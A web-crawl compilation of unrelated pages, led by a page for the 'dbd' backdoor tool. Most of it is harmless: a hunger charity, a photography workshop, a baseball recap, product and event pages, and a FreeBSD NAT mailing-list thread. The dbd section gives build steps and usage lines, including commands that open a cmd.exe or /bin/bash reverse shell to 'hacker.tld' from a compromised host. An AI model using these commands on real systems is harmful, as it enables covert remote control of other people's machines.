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dbd – Durandal's Backdoor
To compile dbd under a Unix-like operating system you need gcc and relevant development tools. For Linux, FreeBSD, NetBSD, OpenBSD (and possibly others), type:
$ make unix
For SunOS/Solaris, type:
$ make sunos
To compile dbd under Microsoft Windows (NT/2K/XP/2K3) you need MinGW+MSYS, or Cygwin with full development support (Cygwin's MinGW gcc). To compile a native Win32 dbd console application under Cygwin, type:
$ make win32
or, under MSYS:
$ make mingw
To compile a no-console ("WinMain") application under Cygwin, type:
$ make win32bg
or, under MSYS:
$ make mingwbg
To compile a Cygwin-specific console application, type:
$ make cygwin
You may want to change the default behaviour of dbd. One of the most important thing is to change the default shared secret to your own pass phrase. Edit dbd.h and replace with your preferences. You may, for example, want to hardcode a host + port to connect to if dbd is started without options. Complete examples are provided in dbd.h.
SAMPLE Usage:
With a little imagination, dbd can be used for many things…
* Use dbd to securely transfer files between two networks:
snafu$ dbd -l -p 12345 -k secret > output.file
fubar$ cat input.file | dbd -k secret snafu 12345
or from win32:
C:somedir>type input.fil | dbd -k secret snafu 12345
* Use dbd as a simple (but secure) chat:
snafu$ dbd -P snafu -Hon fubar 1234
fubar$ dbd -Pfubar -Hon -l -p 1234
* Use dbd as a pen-test backdoor:
C:hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443
or under Unix-like OSes:
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993
Do not pass cached input (a file with commands or similar) to a listening "dbd -e" session. "dbd -e" is using pipes to pass data between the program being executed and dbd. Pipes are used (instead of plain pass-through duplicate file descriptors) because of encryption between the pipes and the socket. In order
to prevent the writing end of one of the pipes from blocking the whole process, I turned it into a non-blocking descriptor. There is a chance that when passing too much input at a time through to the -e program, it will be truncated (cut off) since the pipe buffer (in the OS) can't hold all of the data. This problem can be solved by making dbd multi-threaded for instance, but I'll avoid this as long as possible for compatibility reasons.
Download latest version :
Windows : Dbd.zip (232 KB)
Unix/Linux : Dbd.tar.gz (221 KB)
Find other version |
Read more in here : http://gititbit.ch/


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Addressing hunger is complex, and knowing how to engage is difficult. We all have some of the tools necessary to alleviate hunger, but none of us have all the tools. This is where the Texas Hunger Initiative (THI) comes in. THI conducts university-based research to determine what interventions work and provides the support and expertise to coordinate work in communities and put those programs into action.
The Texas Hunger Initiative provides the expertise and support to foster collaboration. We convene, train, inform and support communities to assess local hunger, and evaluate barriers to food security, in order to become a Hunger Free Community.

subset: commoncrawl


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RPS INTRODUCTION TO LIGHT PAINTING with CLAIRE HARPER
If you've ever wanted to explore long exposure and how to create amazing light painting shots then you'll love this! Spend the day learning theory, techniques, tips and shooting 2 x light painting setups.
Event Details
Is this for me?
If you've ever wanted to explore long exposure and how to create amazing light painting shots then you'll love this!
Spend the day learning theory, techniques, tips and shooting 2 x light painting setups.
Why will this make me a better photographer?
We will be covering all aspects of basic light painting from setting up your camera, focusing in the dark, equipment and basic kit, spinning the perfect orb, different light painting techniques and effects to create unique images including light painted portraits.
This workshop will be practical based and all participants will get ample opportunity to create their own unique images throughout the day. All participants will receive the notes to the course on paper and pdf to a e-mail address of choice on the day, including links to all my previous light painting blogs.
Key Learning points:
– Setting up and camera settings
– Focusing your camera in the dark
– Basic equipment, what you can use including items commonly found around the house or easily sourced.
– Different effects you can create from different equipment
– Spinning different styles of orbs
– Planning your pictures
– Light drawing and writing
– Special effects and how to create them yourselves
– Using multiple light painting tools
– Using models and light painting portraits (including light painting for wedding photography).
– Create your own unique light painting pictures
– Advance techniques including light stencilling
Delegates should bring:
DSLR or mirrorless camera with bulb mode, tripod, shutter release, spare batteries or charger.
What's included?
Amersham Studios is the UK's foremost photography training center and working studio. We've created a warm friendly environment where no question is a stupid question and all makes and models of cameras are welcome. You'll get to play with the latest gear, spend time with our experts and leave a better photographer.
We limit the number of attendee to small numbers to ensure we deliver a world class experience.
As with all Amersham Studios courses will be providing:
– FREE transport to and from Amersham Station.
– Kick ass coffee, refreshments and cucumber water.
– A scrumptious buffet lunch (We'll ask about any dietary requirements by email a week before the workshop)
Our Experts Credentials:
Claire Harper is our Light Painting expert, she's speaking at this years photography show and blogs on the subject.
Not quite what you are after?
We now offer a number of bespoke workshops we've developed and deliver for the The Royal Photographic Society and will be adding more shortly.
Sign up here and we will send you details.
Click on the picture below to go behind the scenes at Amersham Studios:
There are no reviews yet.


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Benintendi 2 HRs, 6 RBIs, Red Sox rout Severino, Yanks 10-5
NEW YORK — Rookie Andrew Benintendi rocketed a pair of three-run homers off All-Star Luis Severino and the Boston Red Sox bounced back from a tough loss, roughing up the New York Yankees 10-5 Saturday.
A day after blowing a late lead, the AL East leaders battered Severino for a career-worst 10 runs. Drew Pomeranz pitched the Red Sox to their ninth win in 10 games, and restored their 4½-game lead over New York.
Boston began bruising the Yankees' staff even before the first pitch — starter Jordan Montgomery was hit in the head by a flyball while he signed autographs as the Red Sox took batting practice. Montgomery is still expected to pitch Sunday night against ace Chris Sale in the series finale.
The 23-year-old Benintendi, who also homered Friday night, is on quite a tear in August. He is 15 for 31 with four home runs and five steals this month, reaching base 20 times in eight games.


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James Urquhart's Articles
Data Center
Cisco's contributions to the OpenStack Diablo release
On February 3rd of this year, Cisco announced its membership in, and commitment to, the OpenStack community. OpenStack is an open source cloud computing software project founded in the springRead More
Data Center
Private Clouds, Multitenancy and Control
Update: The Amazon VPC example I originally gave in this post was confusing and in fact possibly incorrect in some ways. I have removed it.Recently I posted a video explainingRead More
Data Center
Clarifying Internal Cloud versus Private Cloud
Many companies are rapidly evolving toward cloud computing, though from different starting points and not without debate as to the best direction or computing model. For example, advocates of publicRead More
Data Center
Cloud Must Balance Innovation With Operational Excellence
One of Cisco's internal mantras of late is the need to balance innovation with operational excellence. Our corporate CTO, Padmasree Warrior, laid out this argument as a part of aRead More
Data Center
The Cloud Conversation is Changing
I was privileged to be a part of the Enterprise Cloud Summit that took place at the beginning of Interop in Las Vegas a few weeks ago. The program wasRead More
Data Center
Doug Gourlay on the Future of Network Infrastructure at FIRe 2009
Our own VP of Data Center Solutions marketing, Doug Gourlay, participated in a panel at the Future in Review conference on 5/21, titled "Today's Networks Need to Embrace Automation". ModeratedRead More
Data Center
The Inter-Cloud and internet analogies
David M. Smith of Gartner spent some time with me a few weeks ago exploring Cisco's cloud computing vision. I walked him through a variety of concepts, such as privateRead More
Data Center
Forrester Report: Mainstream Production Virtualization Exposes New Data Center Needs
A study recently released by Forrester research (commissioned by Cisco – PDF) reveals that virtualization has taken hold in production data centers, but that there are still many hurdles toRead More
Data Center
Is the Intercloud History Repeated?
"History doesn't repeat itself, but it does rhyme." – Mark TwainLately I've been seeing some interesting parallels between the nascent formation of the Intercloud and the formation of the InternetRead More
Data Center
Why virtual-routing may (possibly) become reality
One of the great things about the concept of cloud computing is the possiblities it creates for large, disruptive markets. We talk about compute capacity markets and the like allRead More


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It's nine years since I helped my dad with elder care, and I'm sorry to see not much has changed for the working family caregiver. The comprehensive policy, the Family and Medical Leave Act dialogue has picked up a bit, but it has lots of room for growth. It especially needs to address the home and community-based deliveries of care.
It's a widespread concern for everyone with a parent or aging relative, so as far as I know, that includes every living soul. My family's caregiving days began in 1998 when our mother developed heart disease, and her health failed. The siblings pitched in to help. It wasn't easy since each one worked full-time outside the home. The same demands rest on other families today.


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Vineyard Vines Collection
Whale Logo Baseball Hat in Coral by Vineyard Vines, Also Featuring Longshanks the Fox
Discounts do not apply to this product.
- 100% cotton-twill
- Embroidered Vineyard Vines whale logo in navy on front
- Embroidered Country Club Prep "Longshanks the Fox" logo in navy on the left side
- Signature "Vineyard Vines" text on back
- Adjustable closure - one size fits all
- Imported
Shipping Options
All orders ship for free via USPS First Class Shipping (4-5 day delivery). Orders $85+ ship for free via USPS Priority Shipping (2-3 day delivery). UPS Next Day Air shipping is available for $35, but is not available on Fridays or Saturdays.
Returns Policy
View the full return policy in this link. Final Sale items are not eligible for return, exchange, or store credit. All items must be unworn, unwashed, and in the original condition. All returned items must meet the Return Deadlines listed below. Items received by our Return Department that do not meet the criteria listed on the Return Slip will not accepted or processed. Customers are responsible for return shipping. Country Club Prep will pay once to ship an exchanged item back to customer.
Return Deadlines
Refunds: Items must be received within 45 days of the original order date. Refunds will be applied to the original form of payment only. Please allow 2 weeks after your return is processed for the refund to show in your bank account. Shipping fees are not refundable. If original form of payment is unavailable, a CCP Store Credit will be issued.
Exchanges: Items must be received within 60 days of the original order date. All exchanges must be of equal or lesser value. CCP Store Credit: Items much be received within 90 days of the original order date.


text: On Sat, Jul 17, 2010 at 7:51 AM, Erik Norgaard <norgaard at locolomo.org> wrote: > On 16/07/10 02.56, alexus wrote: > >>>>> su-3.2# cat /etc/ipnat.rules >>>>> map fxp0 lama -> 0/32 >>>>> rdr fxp0 126.96.36.199 port ssh -> lama port ssh tcp >>> >>> What's that first rule supposed to do? >> >> provides a NAT within jail > > Just guessing, try to put the rdr rule first. Another thing, the > firewall/nat may be loaded before starting the jail and thus unaware of > interfaces etc assigned to the jail. tried switching rules - didn't help tried restarting ipnat after everything is started it >>>>> su-3.2# ifconfig >>>>> vr0: flags=8943<UP,BROADCAST,RUNNING,PROMISC,SIMPLEX,MULTICAST> >>>>> metric >>>>> 0 mtu 1500 >>>>> inet 172.16.172.16 netmask 0xffffffff broadcast 172.16.172.16 >>>>> fxp0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 >>>>> mtu >>>>> 1500 >>>>> inet 22.214.171.124 netmask 0xffffffe0 broadcast 184.108.40.206 >>> >>> Where is this? this "su-3.2" is a bit confusing, would be useful to set >>> your >>> hostname to "jail" within the jail... >> >> su-3.2 is a host environment where jail is hosted > > And from within the jail, what do you see? From what I understand > 172.16.172.16 is the jail IP? from host's rc.conf su-3.2# grep ^jail /etc/rc.conf jail_enable="YES" jail_lama_devfs_enable="YES" jail_lama_hostname="lama" jail_lama_ip="172.16.172.16" jail_lama_rootdir="/usr/jail/lama" jail_list="lama" su-3.2# this is within jail -bash-3.2$ ifconfig vr0: flags=8943<UP,BROADCAST,RUNNING,PROMISC,SIMPLEX,MULTICAST> metric 0 mtu 1500 options=2808<VLAN_MTU,WOL_UCAST,WOL_MAGIC> ether 00:19:5b:68:9b:01 inet 172.16.172.16 netmask 0xffffffff broadcast 172.16.172.16 media: Ethernet autoselect (none) status: no carrier fxp0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> metric 0 mtu 1500 options=2009<RXCSUM,VLAN_MTU,WOL_MAGIC> ether 00:0f:fe:aa:f4:61 media: Ethernet autoselect (100baseTX <full-duplex>) status: active plip0: flags=108810<POINTOPOINT,SIMPLEX,MULTICAST,NEEDSGIANT> metric 0 mtu 1500 lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> metric 0 mtu 16384 -bash-3.2$ >>> I think it is typical for jails to clone the loopback interface for this >>> setup. >> >> not sure what you mean by this... >> if you referring this statement as if you though this is jail itself >> then >> this is not jail this is host environment (where jail is hosted) > >>> Use tcpdump, you should see if your rdr/map rules work as expected. Also, >>> pfctl -ss and similar. >> >> su-3.2# pfctl -ss >> pfctl: /dev/pf: No such file or directory >> su-3.2# > > Ah, you use ipfilter? yes, i use ipfilter & ipnat su-3.2# grep ^ip /etc/rc.conf ipfilter_enable="YES" ipmon_enable="YES" ipnat_enable="YES" su-3.2# >> i don't know how to use tcpdump, can you provide exact syntax so i can run >> it? > > The man-page is excelent. tried that, unfortunately not really sure what am i doing.. still >>> anyone? >>> >>> If nobody replies, maybe try to rephrase your question, investigate >>> further >>> and provide additional information rather than just repost. >> >> i was under impression that i pretty much covered all basis, or at >> least i thought i so ... apparently not... > > Honestly, I don't have a clear picture of what works and what doesn't or > where. You haven't posted your jail config from rc.conf and you could help > by making it clear when running any command that this is in the jail, jail# > this is on the hosting system hostname# and this is the client client# > etc... > > BR, Erik > > > lama is a jail environment (see rc.conf output from earlier) su-3.2 is a host environment any other questions? please just ask i'll provide you with whatever information is needed thanks again -- http://alexus.org/


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Color Theory: Monochromatic | Analogous {Week 31}
Spring has finally sprung and Photo 52 is kicking off its month long study of color. For our first week's assignment we focused on creating images with either an analogous color scheme (colors adjacent to each other on the color wheel) or a monochromatic one - varying tones of the same underlying color. On the color wheel, analogous colors are quite harmonious - and the red-orange-yellow combination in my images below are both warm and rather pleasing to the eye.
Our family recently dined in a restaurant bathed in the most beautiful window light - it was a photographer's dream. The folks seated to my right were captive to my lens, with the lines of the tables leading right to them. Of course there was another subject right across the table, in a daydream, transfixed as well by the gorgeous light coming through the windows.
Please click HERE to visit our collective blog, Who We Become, to see all of our images in one place.


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Boilermakers - Convention Films
13 films, 12 locations, 1 giant convention. The International Brotherhood of Boilermakers called on us to create a series of documentaries for their 33rd Consolidated Convention.
These intimate and touching stories were ultimately projected on a 150ft-wide canvas at Caesar's Palace in Las Vegas, NV.
Our camera crew traveled to 12 locations across North America, filming at a variety of different Boilermaker job sites. From the Juniata Locomotive Shop in Altoona, PA to the Rosie the Riveter Museum in Richmond, CA, we captured the unique stories of current and former Boilermakers. While shooting was in progress, our editing team sifted through hours of audio interviews to create podcast-worthy "radio edits"- focusing on the best heartfelt moments accompanied with emotional music to create a fluid point of view. Guided by these voices of everyday boilermakers, we proceeded to add footage and graphics into our vast 12K canvas to bring these stories to life.
Creating videos for three screens would require us to edit on three screens of our own. To remedy this issue, we built a ⅕ scale model in our office to help us get a feel for how the films would be presented at convention. With the help of the Boilermaker History and Preservation Department, our team fabricated the screens to the exact same specifications, imitating the massive stage in Vegas.
We were honored to have been given the opportunity to tell these touching stories. The short documentaries that we presented truly made an impact on the 500+ delegates that attended. One of the videos showcases Betty Soskin, a 94 year old park ranger at the Rosie the Riveter Museum in Richmond, California. In her early life she belonged to an auxiliary local, a union lodge created for non-whites. She tells a story of progress, understanding, and forgiveness. Betty, the oldest park ranger in our country, recently received a congressional award and a Presidential coin from Barack Obama.


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How would you like to witness first-hand what a next-generation, 21st century educational facility looks like? Join DCNI and the Sierra Club for a personal tour of the net-zero Discovery Elementary School in Arlington and you can see how sustainability is not only being integrated into the school's infrastructure, but also into its curriculum for the students. Cathy Lin, Energy Manager for Arlington Public Schools will be our tour guide, and we will be talking about net-zero buildings and technology, how learning drastically improves for children in a net-zero space, objectives for other net-zero spaces in Arlington, and about potential opportunities for further engagement. Afterwards, if you'd like, join us for brunch at Lyon Hall in Clarendon to talk shop and recap the morning's events.
Please register for access to the event on Eventbrite. Early bird tickets are available through May 8th.